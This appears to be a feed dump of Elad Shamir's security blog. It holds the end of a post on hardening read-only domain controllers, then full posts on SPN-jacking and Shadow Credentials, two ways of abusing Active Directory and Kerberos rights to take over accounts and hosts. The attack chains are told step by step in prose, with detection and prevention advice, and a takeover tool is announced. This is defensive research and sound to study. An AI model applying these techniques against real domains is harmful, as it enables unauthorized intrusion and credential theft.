<p>Audit the <em>msDS-RevealOnDemandGroup</em> attribute of all RODCs and ensure it does not contain any Tier Zero principals. There is no reason to make exceptions to these rules. If you have an operational requirement for an exception, you are doing something wrong.</p>
<p>Add all Tier Zero principals to the <em>Denied RODC Password Replication Group</em> and add that group to the <em>msDS-NeverRevealGroup</em> attribute of all RODC.</p>
<p>Ensure no attack path allows non-Tier Zero principals to control any RODCs in the environment.</p>
<h2 id="acknowledgments">Acknowledgments</h2>
<ul>
<li>
<p>Sean Metcalf (<a href="https://twitter.com/PyroTek3" target="_blank">@PyroTek3</a>) for <a href="https://adsecurity.org/?p=3592" target="_blank">Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory</a></p>
</li>
<li>
<p>Leandro Cuozzo (<a href="https://twitter.com/0xdeaddood" target="_blank">@0xdeaddood</a>) for <a href="https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/" target="_blank">The Kerberos Key List Attack: The return of the Read Only Domain Controllers</a></p>
</li>
<li>
<p>Charlie Clark (<a href="https://twitter.com/exploitph" target="_blank">@exploitph</a>) for helping me figure out the inner workings of RODCs and for all his amazing work in the Kerberos space</p>
</li>
<li>
<p>Jonas Knudsen (<a href="https://twitter.com/jonas_b_k" target="_blank">@Jonas_B_K</a>) and Andy Robbins (<a href="https://twitter.com/_wald0" target="_blank">@_wald0</a>) for bouncing off ideas</p>
</li>
<li>
<p>Joe Dibley (and Charlie Clark) for adding support for RODC attacks to Rubeus</p>
</li>
</ul>Elad ShamirThe read-only Domain Controller (RODC) is a solution that Microsoft introduced for physical locations that don’t have adequate security to host a Domain Controller but still require directory services for resources in those locations. A branch office is the classic use case. While RODCs, by definition, are not part of the set of resources that can control “enterprise identities”, known as Tier Zero, we have seen cases where there is a privilege escalation path from an RODC to domain dominance. In this blog post, we’ll answer the question, “If I compromise a Read-Only Domain Controller, can I compromise the domain?” or, from an architectural perspective, “Do RODCs belong in Tier Zero?”SPN-jacking: An Edge Case in WriteSPN Abuse2022-02-10T00:00:00+00:002022-02-10T00:00:00+00:00https://eladshamir.com/2022/02/10/SPN-jacking<p>Some people are a hammer in search of a nail, but I'm a hammer in
search of Kerberos delegation. So, when I heard that a <a href="https://posts.specterops.io/introducing-bloodhound-4-1-the-three-headed-hound-be3c4a808146" target="_blank">WriteSPN edge was
introduced to Bloodhound 4.1</a>, I started exploring alternative abuse
techniques beyond targeted Kerberoasting, and I found an edge case (pun
intended) that can be chained together with Kerberos Constrained
Delegation.</p>
<h3 id="tldr">Tl;dr</h3>
<p>Suppose an attacker compromises an account set for Constrained
Delegation but doesn't have the SeEnableDelegation privilege. The
attacker won't be able to change the constraints
(msDS-AllowedToDelegateTo). However, if the attacker has WriteSPN rights
over the account associated with the target SPN, as well as over another
computer/service account, the attacker can temporarily hijack the SPN
(a technique called SPN-jacking), assign it to the other computer/server, and perform a
full S4U attack to compromise it. </p>
<p>Also, if the target SPN is not currently associated with any account,
the attacker can appropriate it similarly.
<!--more--></p>
<p>I'll be the first to admit this is not a groundbreaking discovery, but it can
revive seemingly dead-end attack paths under particular
circumstances. SPN-jacking can also be an alternative takeover technique
if RBCD or Shadow Credentials are not viable.</p>
<h2 id="kerberos-delegation-primer">Kerberos Delegation Primer</h2>
<p>Kerberos delegation is a mechanism that allows services to impersonate
users to other services. For example, a user may access a front-end
application, and that application may, in turn, access a back-end API
with the user's identity and permissions.</p>
<p>Kerberos delegation comes in three flavors: Unconstrained Delegation,
Constrained Delegation, and Resource-Based Constrained Delegation
(RBCD). </p>
<h3 id="unconstrained-delegation">Unconstrained Delegation</h3>
<p>Unconstrained Delegation requires users to send their
ticket-granting-ticket (TGT) to the front-end service (Server A). Then
the front-end service can use that ticket to impersonate the user to any
service, including the back-end service (Server B).</p>
<p><a href="/images/SPN-jacking/image1.png" target="_blank"><img src="/images/SPN-jacking/image1.png" alt="Unconstrained Delegation Diagram" /></a></p>
<h3 id="constrained-delegation">Constrained Delegation</h3>
<p>Constrained Delegation allows the front-end service (Server A) to obtain
Kerberos service tickets for users to a predefined list of services
specified by their Service Principal Name (SPN), such as the back-end
service, Server B.</p>
<p><a href="/images/SPN-jacking/image2.png" target="_blank"><img src="/images/SPN-jacking/image2.png" alt="Constrained Delegation Diagram" /></a></p>
<p>Note that Constrained Delegation allows the service to impersonate users
out of thin air, whether they authenticated to the service or not. Many
think that it depends on the configuration of the
TrustedToAuthForDelegation attribute. However, when chained with
Resource-Based Constrained Delegation, that limitation can be
circumvented, as I explain in <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-accounts-collude---trustedtoauthfordelegation-who" target="_blank">this blog
post</a>.</p>
<h3 id="resource-based-constrained-delegation">Resource-Based Constrained Delegation</h3>
<p>Resource-Based Constrained Delegation (RBCD) is very similar to Constrained
Delegation, except that the direction of the constraint is reversed. It
specifies who is allowed to delegate to a service rather than who the
service is allowed to delegate to. In other words, if Server A is allowed
to delegate to Server B in Constrained Delegation, the constraint would
be configured in an attribute of Server A. In RBCD, it would be configured in an attribute of Server B.</p>
<p><a href="/images/SPN-jacking/image3.png" target="_blank"><img src="/images/SPN-jacking/image3.png" alt="Constrained Delegation and RBCD Comparison" /></a></p>
<p>Another important difference between Constrained Delegation and
RBCD is that Constrained Delegation
specifies the SPN of the target service. In contrast, RBCD specifies the SID of the originating service in a
Security Descriptor.</p>
<h3 id="required-privileges">Required Privileges</h3>
<p>Configuring Unconstrained Delegation and Constrained Delegation requires
the SeEnableDelegation privilege, which, by default, is granted only to
Domain Admins. Therefore, even if a user had full control (GenericAll)
on an AD account, he would not be able to configure either of these
Kerberos delegation types without also having the SeEnableDelegation
privilege. Unlike Unconstrained Delegation and Constrained Delegation,
RBCD requires the right to change the
msDS-AllowedToActOnBehalfOfOtherIdentity attribute but no special
privileges.</p>
<p>Note that users need special privileges to change the Constrained
Delegation configuration, but no special privileges are required for
changing SPNs. Therefore, it may be interesting to tackle scenarios with
the compromise of Constrained Delegation from a different angle –
manipulating the SPN attribute rather than the delegation configuration.</p>
<h2 id="setting-the-stage">Setting the Stage</h2>
<p>Suppose there are three servers in the environment: ServerA, ServerB,
and ServerC.</p>
<p>ServerA is configured with Constrained Delegation to a certain SPN.</p>
<p>The attacker compromised ServerA and the account NotAdmin, which has
WriteSPN rights on computer/service accounts in the environment.</p>
<p>The attacker's goal is to compromise ServerC.</p>
<p><a href="/images/SPN-jacking/image4.png" target="_blank"><img src="/images/SPN-jacking/image4.png" alt="Setting the Stage" /></a></p>
<h2 id="ghost-spn-jacking">Ghost SPN-jacking</h2>
<p>The first scenario is the simplest one. ServerA is configured for
Constrained Delegation to a SPN previously associated with a computer or
service account that no longer exists. It could be a standard SPN, such
as cifs/hostname, associated with a deleted computer/service account or
a renamed computed account if the SPNs were updated accordingly. Or, the account
could be a custom SPN with a non-standard service class that was
removed from the computer/service account, or the account itself could no
longer exist.</p>
<p><a href="/images/SPN-jacking/image5.png" target="_blank"><img src="/images/SPN-jacking/image5.png" alt="Ghost SPN-jacking Scenario" /></a></p>
<p>In this scenario, the attacker can add the affected SPN to ServerC and
then run the full S4U attack using ServerA's account to obtain a
service ticket for a privileged user to ServerC. </p>
<p>The service name of that ticket would not be valid for accessing ServerC
because the hostname wouldn't match, and the service class might be
useless. However, the important thing is that the ticket is encrypted
for ServiceC, and the service name is not in the encrypted part of the
ticket, so the attacker can change it to a valid one. </p>
<p>Finally, the attacker can pass-the-ticket and compromise ServerC.</p>
<p>The attack chain is illustrated in the following diagram:</p>
<p><a href="/images/SPN-jacking/image6.png" target="_blank"><img src="/images/SPN-jacking/image6.png" alt="Ghost SPNjacking Diagram" /></a></p>
<p>The attack is demonstrated in the following screen capture:</p>
<p><a href="/images/SPN-jacking/image7.png" target="_blank"><img src="/images/SPN-jacking/image7.png" alt="Ghost SPNjacking Screenshot" /></a></p>
<h2 id="live-spn-jacking">Live SPN-jacking</h2>
<p>The second scenario is a bit more contrived. ServerA is configured for
Constrained Delegation to a SPN currently associated with ServerB, and
the attacker has WriteSPN rights on ServerB and ServerC.</p>
<p>In fully patched environments, only Domain Admins would be permitted to
configure conflicting SPNs, meaning SPNs associated with two or more
different accounts. Therefore, if the attacker in this scenario tried to
add the target SPN to ServerC, the DC would reject that change because
it is already associated with ServerB.</p>
<p><a href="/images/SPN-jacking/image8.png" target="_blank"><img src="/images/SPN-jacking/image8.png" alt="Active SPN-jacking Scenario" /></a></p>
<p>The attacker can circumvent that barrier by temporarily removing the target SPN
from ServerB and only then adding it to ServerC. The attacker can then
run the full S4U attack using ServerA's account to obtain a service
ticket for a privileged user to ServerC. </p>
<p>As in the previous scenario, the service name of that ticket would not
be valid for accessing ServerC. However, the important thing is that the
ticket is encrypted for ServerC, and the service name is not in the
encrypted part of the ticket, so the attacker can change it. </p>
<p>Finally, the attacker can pass-the-ticket and compromise ServerC.</p>
<p>A well-behaved attacker should also roll back the changes by removing
the target SPN from ServerC and restoring it to ServerB.</p>
<p>The attack chain is illustrated in the following diagram:</p>
<p><a href="/images/SPN-jacking/image9.png" target="_blank"><img src="/images/SPN-jacking/image9.png" alt="Active SPN-jacking Diagram" /></a></p>
<h3 id="spn-jacking-with-the-host-service-class">SPN-jacking with the HOST Service Class</h3>
<p>It gets more interesting when the targeted SPN is not explicitly
defined. By default, computer accounts have SPNs associated with the
service classes TERMSRV, RestrictedKrbHost, and HOST. If other services
are installed, such as LDAP or SQL Server, additional SPNs are added for
those, too.</p>
<p>The HOST service class is mapped to the following service classes by
default:<br />
alerter, appmgmt, cisvc, clipsrv, browser, dhcp, dnscache, replicator,
eventlog, eventsystem, policyagent, oakley, dmserver, dns, mcsvc, fax,
msiserver, ias, messenger, netlogon, netman, netdde, netddedsm, nmagent,
plugplay, protectedstorage, rasman, rpclocator, rpc, rpcss,
remoteaccess, rsvp, samss, scardsvr, scesrv, seclogon, scm, dcom, cifs,
spooler, snmp, schedule, tapisrv, trksvr, trkwks, ups, time, wins, www,
http, w3svc, iisadmin, msdtc.</p>
<p>If the attacker tried to target a service class mapped to HOST, the
domain controller would reject adding that service class to ServerC,
even though it is not directly associated with ServerB. The attacker
would first have to remove the HOST SPNs from ServerB and then
explicitly add the target SPN to ServerC. However, after adding the
target SPN to ServerC, the attacker can add the HOST SPNs back to
ServerB without encountering any validation errors, despite already
having a mapped SPN associated with ServerC, as demonstrated in the
following screenshot:</p>
<p><a href="/images/SPN-jacking/image10.png" target="_blank"><img src="/images/SPN-jacking/image10.png" alt="HOST SPN-jacking Screenshot" /></a></p>
<p>When requesting service tickets to the ambiguous SPN, cifs/SERVERB in
the screenshot above, the Domain Controller issues it for ServerC rather
than ServerB.</p>
<p>The attack chain is illustrated in the following diagram:</p>
<p><a href="/images/SPN-jacking/image11.png" target="_blank"><img src="/images/SPN-jacking/image11.png" alt="HOST SPN-jacking Diagram" /></a></p>
<h2 id="what-is-it-good-for">What is it good for?</h2>
<p>If an attacker compromised an account with GenericAll or GenericWrite
rights on computer accounts, the attacker could use RBCD or Shadow
Credentials to compromise the associated host or service. I suspect
compromising an account with only WriteSPN rights on computer accounts
is not very likely. However, chained with the compromise of a host with
Constrained Delegation already configured, attackers could use this
technique in environments where RBCD and Shadow Credentials are
monitored or blocked. Defenders should follow the recommendations below
to mitigate SPN-jacking attacks.</p>
<h2 id="detection">Detection</h2>
<p>Changes to the ServicePrincipalName attribute of a computer account
generate security events with the ID 4742 (A computer account was
changed) on the domain controller. The event details show the changed
attributes and their new value. Defenders can detect SPNs with a
hostname different than the computer's DNS names, as shown in the
screenshot below:</p>
<p><a href="/images/SPN-jacking/image12.png" target="_blank"><img src="/images/SPN-jacking/image12.png" alt="Change Detection" /></a></p>
<p>Removing the HOST service class from a computer account may also be
suspicious.</p>
<p>The S4U attack generates two security events with ID 4769 (A Kerberos
service ticket was requested).</p>
<p>The first event is for S4U2Self. Defenders can detect it when the
account information and service information point at the same account,
as shown in the screenshot below:</p>
<p><a href="/images/SPN-jacking/image13.png" target="_blank"><img src="/images/SPN-jacking/image13.png" alt="S4U2Self Detection" /></a></p>
<p>The second event is for S4U2Proxy. Defenders can detect it when the
Transited Services attribute is not blank, as shown in the screenshot
below:</p>
<p><a href="/images/SPN-jacking/image14.png" target="_blank"><img src="/images/SPN-jacking/image14.png" alt="S4U2Proxy Detection" /></a></p>
<h2 id="prevention">Prevention</h2>
<p>Defenders can apply several tactics to prevent this type of abuse:</p>
<ul>
<li>Regularly audit Active Directory for Constrained Delegation pointing
to ghost SPNs</li>
<li>Regularly audit Active Directory for anomalous WriteSPN rights</li>
<li>Add all privileged accounts to the Protected Users group to block
any attempts to impersonate them through Kerberos delegation</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>Attackers can manipulate the SPN of computer/service accounts to
redirect preconfigured Constrained Delegation to unintended targets,
even without obtaining SeEnableDelegation privileges.</p>
<p>While the scenarios described in this article are not common, they can
present viable attack paths when a compromised account is configured for
Constrained Delegation that would otherwise be considered benign or as
an alternative to RBCD and Shadow Credentials.</p>
<p>Defenders should take the necessary steps to detect and prevent such
attacks.</p>
<h2 id="author">Author</h2>
<p>Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://posts.specterops.io/introducing-bloodhound-4-1-the-three-headed-hound-be3c4a808146" target="_blank">Introducing BloodHound 4.1 — The Three Headed Hound</a></li>
<li><a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory</a></li>
</ul>
<p><strong>This post was also published at <a href="https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/" target="_blank">semperis.com</a> and <a href="https://shenaniganslabs.io/2022/02/10/SPN-jacking.html" target="_blank">shenaniganslabs.io</a></strong>.</p>Elad ShamirSome people are a hammer in search of a nail, but I'm a hammer in search of Kerberos delegation. So, when I heard that a WriteSPN edge was introduced to Bloodhound 4.1, I started exploring alternative abuse techniques beyond targeted Kerberoasting, and I found an edge case (pun intended) that can be chained together with Kerberos Constrained Delegation. Tl;dr Suppose an attacker compromises an account set for Constrained Delegation but doesn't have the SeEnableDelegation privilege. The attacker won't be able to change the constraints (msDS-AllowedToDelegateTo). However, if the attacker has WriteSPN rights over the account associated with the target SPN, as well as over another computer/service account, the attacker can temporarily hijack the SPN (a technique called SPN-jacking), assign it to the other computer/server, and perform a full S4U attack to compromise it. Also, if the target SPN is not currently associated with any account, the attacker can appropriate it similarly.Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover2021-06-21T00:00:00+00:002021-06-21T00:00:00+00:00https://eladshamir.com/2021/06/21/Shadow-Credentials<p>The techniques for DACL-based attacks against User and Computer objects in Active Directory have been established for years. If we compromise an account that has delegated rights over a user account, we can simply reset their password, or, if we want to be less disruptive, we can set an SPN or disable Kerberos pre-authentication and try to roast the account. For computer accounts, it is a bit more complicated, but <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">RBCD can get the job done</a>.</p>
<p>These techniques have their shortcomings:</p>
<ul>
<li>Resetting a user’s password is disruptive, may be reported, and may not be permitted per the Rules of Engagement (ROE).</li>
<li>Roasting is time-consuming and depends on the target having a weak password, which may not be the case.</li>
<li>RBCD is hard to follow because <i>someone</i> (me) failed to write a clear and concise post about it.</li>
<li>RBCD requires control over an account with an SPN, and creating a new computer account to meet that requirement may lead to detection and cannot be cleaned up until privilege escalation is achieved.</li>
</ul>
<p>The recent work that Will Schroeder (<a href="https://twitter.com/harmj0y" target="_blank">@harmj0y</a>) and Lee Christensen (<a href="https://twitter.com/tifkin_" target="_blank">@tifkin_</a>) <a href="https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf" target="_blank">published about AD CS</a> made me think about other technologies that use Public Key Cryptography for Initial Authentication (PKINIT) in Kerberos, and Windows Hello for Business was the obvious candidate, which led me to (re)discover an alternative technique for user and computer object takeover.
<!--more--></p>
<h2 id="tldr">Tl;dr</h2>
<p>It is possible to add “Key Credentials” to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT.</p>
<p>In plain English: this is a much easier and more reliable takeover primitive against Users and Computers.</p>
<p>A <a href="https://github.com/eladshamir/Whisker" target="_blank">tool</a> to operationalize this technique has been released alongside this post.</p>
<h2 id="previous-work">Previous Work</h2>
<p>When I looked into Key Trust, I found that Michael Grafnetter (<a href="https://twitter.com/MGrafnetter" target="_blank">@MGrafnetter</a>) had already discovered this abuse technique and <a href="https://www.dsinternals.com/wp-content/uploads/eu-19-Grafnetter-Exploiting-Windows-Hello-for-Business.pdf" target="_blank">presented it at Black Hat Europe 2019</a>. His discovery of this user and computer object takeover technique somewhat flew under the radar, I believe because this technique was only the primer to the main topic of his talk. Michael clearly demonstrated this abuse in his talk and noted that it affected both users and computers. In his presentation, Michael explained some of the inner workings of WHfB and the Key Trust model, and I highly recommend <a href="https://www.youtube.com/watch?v=u22XC01ewn0" target="_blank">watching it</a>.</p>
<p>Michael has also been maintaining a library called <a href="https://github.com/MichaelGrafnetter/DSInternals" target="_blank">DSInternals</a> that facilitates the abuse of this mechanism, and a lot more. I recently ported some of Michael’s code to a new C# tool called <a href="https://github.com/eladshamir/Whisker" target="_blank">Whisker</a> to be used via implants on operations. More on that below.</p>
<h2 id="what-is-pkinit">What is PKINIT?</h2>
<p>In Kerberos authentication, clients must perform “pre-authentication” before the KDC (the Domain Controller in an Active Directory environment) provides them with a Ticket Granting Ticket (TGT), which can subsequently be used to obtain Service Tickets. The reason for pre-authentication is that without it, anyone could obtain a blob encrypted with a key derived from the client’s password and try to crack it offline, as done in the <a href="https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/" target="_blank">AS-REP Roasting Attack</a>.</p>
<p>The client performs pre-authentication by encrypting a timestamp with their credentials to prove to the KDC that they have the credentials for the account. Using a timestamp rather than a static value helps prevent replay attacks.</p>
<p>The symmetric key (secret key) approach, which is the one most widely used and known, uses a symmetric key derived from the client’s password, AKA secret key. If using RC4 encryption, this key would be the NT hash of the client’s password. The KDC has a copy of the client’s secret key and can decrypt the pre-authentication data to authenticate the client. The KDC uses the same key to encrypt a session key sent to the client along with the TGT.</p>
<p><a href="/images/ShadowCredentials/Preauth101.png" target="_blank"><img src="/images/ShadowCredentials/Preauth101.png" alt="Preauth101.png" /></a></p>
<p>PKINIT is the less common, asymmetric key (public key) approach. The client has a public-private key pair, and encrypts the pre-authentication data with their private key, and the KDC decrypts it with the client’s public key. The KDC also has a public-private key pair, allowing for the exchange of a session key using one of two methods:</p>
<ol>
<li><strong>Diffie–Hellman Key Delivery</strong> <br />
The Diffie–Hellman Key Delivery allows the KDC and the client to securely establish a shared session key that cannot be intercepted by attackers performing passive man-in-the-middle attacks, even if the attacker has the client’s or the KDC’s private key, (almost) providing Perfect Forward Secrecy. I say _almost _because the session key is also stored inside the encrypted part of the TGT, which is encrypted with the secret key of the KRBTGT account.</li>
<li><strong>Public Key Encryption Key Delivery</strong> <br />
Public Key Encryption Key Delivery uses the KDC’s private key and the client’s public key to envelop a session key generated by the KDC.</li>
</ol>
<p><a href="/images/ShadowCredentials/CertificateTrust.png" target="_blank"><img src="/images/ShadowCredentials/CertificateTrust.png" alt="CertificateTrust.png" /></a></p>
<p>Traditionally, Public Key Infrastructure (PKI) allows the KDC and the client to exchange their public keys using Digital Certificates signed by an entity that both parties have previously established trust with - the Certificate Authority (CA). This is the Certificate Trust model, which is most commonly used for smartcard authentication.</p>
<p>PKINIT is not possible out of the box in every Active Directory environment. The key (pun intended) is that both the KDC and the client need a public-private key pair. However, if the environment has AD CS and a CA available, the Domain Controller will automatically obtain a certificate by default.</p>
<h2 id="no-pki-no-problem">No PKI? No Problem!</h2>
<p>Microsoft also introduced the concept of Key Trust, to support passwordless authentication in environments that don’t support Certificate Trust. Under the Key Trust model, PKINIT authentication is established based on the raw key data rather than a certificate.</p>
<p>The client’s public key is stored in a multi-value attribute called msDS-KeyCredentialLink, introduced in Windows Server 2016. The values of this attribute are Key Credentials, which are serialized objects containing information such as the creation date, the distinguished name of the owner, a GUID that represents a Device ID, and, of course, the public key. It is a multi-value attribute because an account have several linked devices.</p>
<p><a href="/images/ShadowCredentials/KeyTrust.png" target="_blank"><img src="/images/ShadowCredentials/KeyTrust.png" alt="KeyTrust.png" /></a></p>
<p>This trust model eliminates the need to issue client certificates for everyone using passwordless authentication. However, the Domain Controller still needs a certificate for the session key exchange.</p>
<p><strong>This means that if you can write to the msDS-KeyCredentialLink property of a user, you can obtain a TGT for that user.</strong></p>
<h2 id="windows-hello-for-business-provisioning-and-authentication">Windows Hello for Business Provisioning and Authentication</h2>
<p>Windows Hello for Business (WHfB) supports multi-factor passwordless authentication.</p>
<p><a href="/images/ShadowCredentials/WH.png" target="_blank"><img src="/images/ShadowCredentials/WH.png" alt="WH.png" /></a></p>
<p>When the user enrolls, the TPM generates a public-private key pair for the user’s account - the private key should never leave the TPM. Next, if the Certificate Trust model is implemented in the organization, the client issues a certificate request to obtain a trusted certificate from the environment’s certificate issuing authority for the TPM-generated key pair. However, if the Key Trust model is implemented, the public key is stored in a new Key Credential object in the msDS-KeyCredentialLink attribute of the account. The private key is protected by a PIN code, which Windows Hello allows replacing with a biometric authentication factor, such as fingerprint or face recognition.</p>
<p>When a client logs in, Windows attempts to perform PKINIT authentication using their private key. Under the Key Trust model, the Domain Controller can decrypt their pre-authentication data using the raw public key in the corresponding NGC object stored in the client’s msDS-KeyCredentialLink attribute. Under the Certificate Trust model, the Domain Controller will validate the trust chain of the client’s certificate and then use the public key inside it. Once pre-authentication is successful, the Domain Controller can exchange a session key via Diffie–Hellman Key Delivery or Public Key Encryption Key Delivery.</p>
<p>Note that I intentionally used the term “client” rather than “user” here because this mechanism applies to both users and computers.</p>
<h2 id="what-about-ntlm">What About NTLM?</h2>
<p>PKINIT allows WHfB users, or, more traditionally, smartcard users, to perform Kerberos authentication and obtain a TGT. But what if they need to access resources that require NTLM authentication? To address that, the client can obtain a special Service Ticket that contains their NTLM hash inside the Privilege Attribute Certificate (PAC) in an encrypted NTLM_SUPPLEMENTAL_CREDENTIAL entity.</p>
<p>The PAC is stored inside the encrypted part of the ticket, and the ticket is encrypted using the key of the service it is issued for. In the case of a TGT, the ticket is encrypted using the key of the KRBTGT account, which the user should not be able to decrypt. To obtain a ticket that the user can decrypt, the user must perform Kerberos User to User (U2U) authentication to itself. When I first read the title of the RFC for this mechanism, I thought to myself, “Does that mean we can abuse this mechanism to Kerberoast any user account? That must be too good to be true”. And it was - the risk of Kerberoasting was taken into consideration, and U2U Service Tickets are encrypted using the target user’s session key rather than their secret key.</p>
<p>That presented another challenge for the U2U design - every time a client authenticates and obtains a TGT, a new session key is generated. Also, KDC does not maintain a repository of active session keys - it extracts the session key from the client’s ticket. So, what session key should the KDC use when responding to a U2U TGS-REQ? The solution was sending a TGS-REQ containing the target user’s TGT as an “additional ticket”. The KDC will extract the session key from the TGT’s encrypted part (hence not really perfect forward secrecy) and generate a new service ticket.</p>
<p>So, if a user requests a U2U Service Ticket from itself to itself, they will be able to decrypt it and access the PAC and the NTLM hash.</p>
<p><strong>This means that if you can write to the msDS-KeyCredentialLink property of a user, you can retrieve the NT hash of that user.</strong></p>
<p><a href="/images/ShadowCredentials/U2U.png" target="_blank"><img src="/images/ShadowCredentials/U2U.png" alt="U2U.png" /></a></p>
<p>As per <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/2f9cae55-350a-423e-a692-1d16659e544a" target="_blank">MS-PAC</a>, the NTLM_SUPPLEMENTAL_CREDENTIAL entity is added to the PAC only if PKINIT authentication was performed.</p>
<p>Back in 2017, Benjamin Delpy (<a href="https://twitter.com/gentilkiwi" target="_blank">@gentilkiwi</a>) introduced code to <a href="https://github.com/gentilkiwi/kekeo" target="_blank">Kekeo</a> to support retrieving the NTLM hash of an account using this technique, and it will be added to <a href="https://github.com/GhostPack/Rubeus" target="_blank">Rubeus</a> in an upcoming release.</p>
<h2 id="abuse">Abuse</h2>
<p>When abusing Key Trust, we are effectively adding alternative credentials to the account, or “Shadow Credentials”, allowing for obtaining a TGT and subsequently the NTLM hash for the user/computer. Those Shadow Credentials would persist even if the user/computer changed their password.</p>
<p>Abusing Key Trust for computer objects requires additional steps after obtaining a TGT and the NTLM hash for the account. There are generally two options:</p>
<ol>
<li>Forge an RC4 silver ticket to impersonate privileged users to the corresponding host.</li>
<li>Use the TGT to call S4U2Self to impersonate privileged users to the corresponding host. This option requires modifying the obtained Service Ticket to include a service class in the service name.</li>
</ol>
<p>Key Trust abuse has the added benefit that it doesn’t delegate access to another account which could get compromised - it is restricted to the private key generated by the attacker. In addition, it doesn’t require creating a computer account that may be hard to clean up until privilege escalation is achieved.</p>
<h2 id="whisker">Whisker</h2>
<p>Alongside this post I am releasing a tool called “<a href="https://github.com/eladshamir/Whisker" target="_blank">Whisker</a>”. Based on code from Michael’s DSInternals, Whisker provides a C# wrapper for performing this attack on engagements. Whisker updates the target object using LDAP, while DSInternals allows updating objects using both LDAP and RPC with the Directory Replication Service (DRS) Remote Protocol.</p>
<p><a href="https://github.com/eladshamir/Whisker" target="_blank">Whisker</a> has four functions:</p>
<ol>
<li>Add - This function generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
<a href="/images/ShadowCredentials/Add.PNG" target="_blank"><img src="/images/ShadowCredentials/Add.PNG" alt="Add.PNG" /></a></li>
<li>List - This function lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
<a href="/images/ShadowCredentials/List.PNG" target="_blank"><img src="/images/ShadowCredentials/List.PNG" alt="List.PNG" /></a></li>
<li>Remove - This function removes a key credential from the target object specified by a DeviceID GUID.
<a href="/images/ShadowCredentials/Remove.PNG" target="_blank"><img src="/images/ShadowCredentials/Remove.PNG" alt="Remove.PNG" /></a></li>
<li>Clear - This function removes all the values from the msDS-KeyCredentialLink attribute of the target object. If the target object is legitimately using WHfB, it will break.
<a href="/images/ShadowCredentials/Clear.PNG" target="_blank"><img src="/images/ShadowCredentials/Clear.PNG" alt="Clear.PNG" /></a></li>
</ol>
<h2 id="requirements">Requirements</h2>
<p>This technique requires the following:</p>
<ul>
<li>At least one Windows Server 2016 Domain Controller.</li>
<li>A digital certificate for Server Authentication installed on the Domain Controller.</li>
<li>Windows Server 2016 Functional Level in Active Directory.</li>
<li>Compromise an account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object.</li>
</ul>
<h2 id="detection">Detection</h2>
<p>There are two main opportunities for detection of this technique:</p>
<ol>
<li>If PKINIT authentication is not common in the environment or not common for the target account, the “Kerberos authentication ticket (TGT) was requested” event (4768) can indicate anomalous behavior when the Certificate Information attributes are not blank, as shown below:
<a href="/images/ShadowCredentials/TGTReq.PNG" target="_blank"><img src="/images/ShadowCredentials/TGTReq.PNG" alt="TGTReq.PNG" /></a></li>
<li>If a SACL is configured to audit Active Directory object modifications for the targeted account, the “Directory service object was modified” event (5136) can indicate anomalous behavior if the subject changing the msDS-KeyCredentialLink is not the Azure AD Connect synchronization account or the ADFS service account, which will typically act as the Key Provisioning Server and legitimately modify this attribute for users.
<a href="/images/ShadowCredentials/ObjectModified.PNG" target="_blank"><img src="/images/ShadowCredentials/ObjectModified.PNG" alt="ObjectModified.PNG" /></a></li>
</ol>
<h2 id="prevention">Prevention</h2>
<p>It is generally a good practice to proactively audit all inbound object control for highly privileged accounts. Just as users with lower privileges than Domain Admins shouldn’t be able to reset the passwords of members of the Domain Admins group, less secure, or less “trustworthy”, users with lower privileges should not be able to modify the msDS-KeyCredentialLink attribute of privileged accounts.</p>
<p>A more specific preventive control is adding an Access Control Entry (ACE) to DENY the principal EVERYONE from modifying the attribute msDS-KeyCredentialLink for any account not meant to be enrolled in Key Trust passwordless authentication, and particularly privileged accounts. However, an attacker with WriteOwner or WriteDACL privileges will be able to override this control, which can be detected with a suitable SACL.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Abusing Key Trust Account Mapping is a simpler way to take over user and computer accounts in Active Directory environments that support PKINIT for Kerberos authentication and have a Windows Server 2016 Domain Controller with the same functional level.</p>
<h2 id="author">Author</h2>
<p>Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/eladshamir/Whisker" target="_blank">Whisker</a> by Elad Shamir (<a href="https://twitter.com/elad_shamir" target="_blank">@elad_shamir</a>)</li>
<li><a href="https://www.dsinternals.com/wp-content/uploads/eu-19-Grafnetter-Exploiting-Windows-Hello-for-Business.pdf" target="_blank">Exploiting Windows Hello for Business (Black Hat Europe 2019)</a> by Michael Grafnetter (<a href="https://twitter.com/MGrafnetter" target="_blank">@MGrafnetter</a>)</li>
<li><a href="https://github.com/MichaelGrafnetter/DSInternals" target="_blank">DSInternals</a> by Michael Grafnetter (<a href="https://twitter.com/MGrafnetter" target="_blank">@MGrafnetter</a>)</li>
</ul>
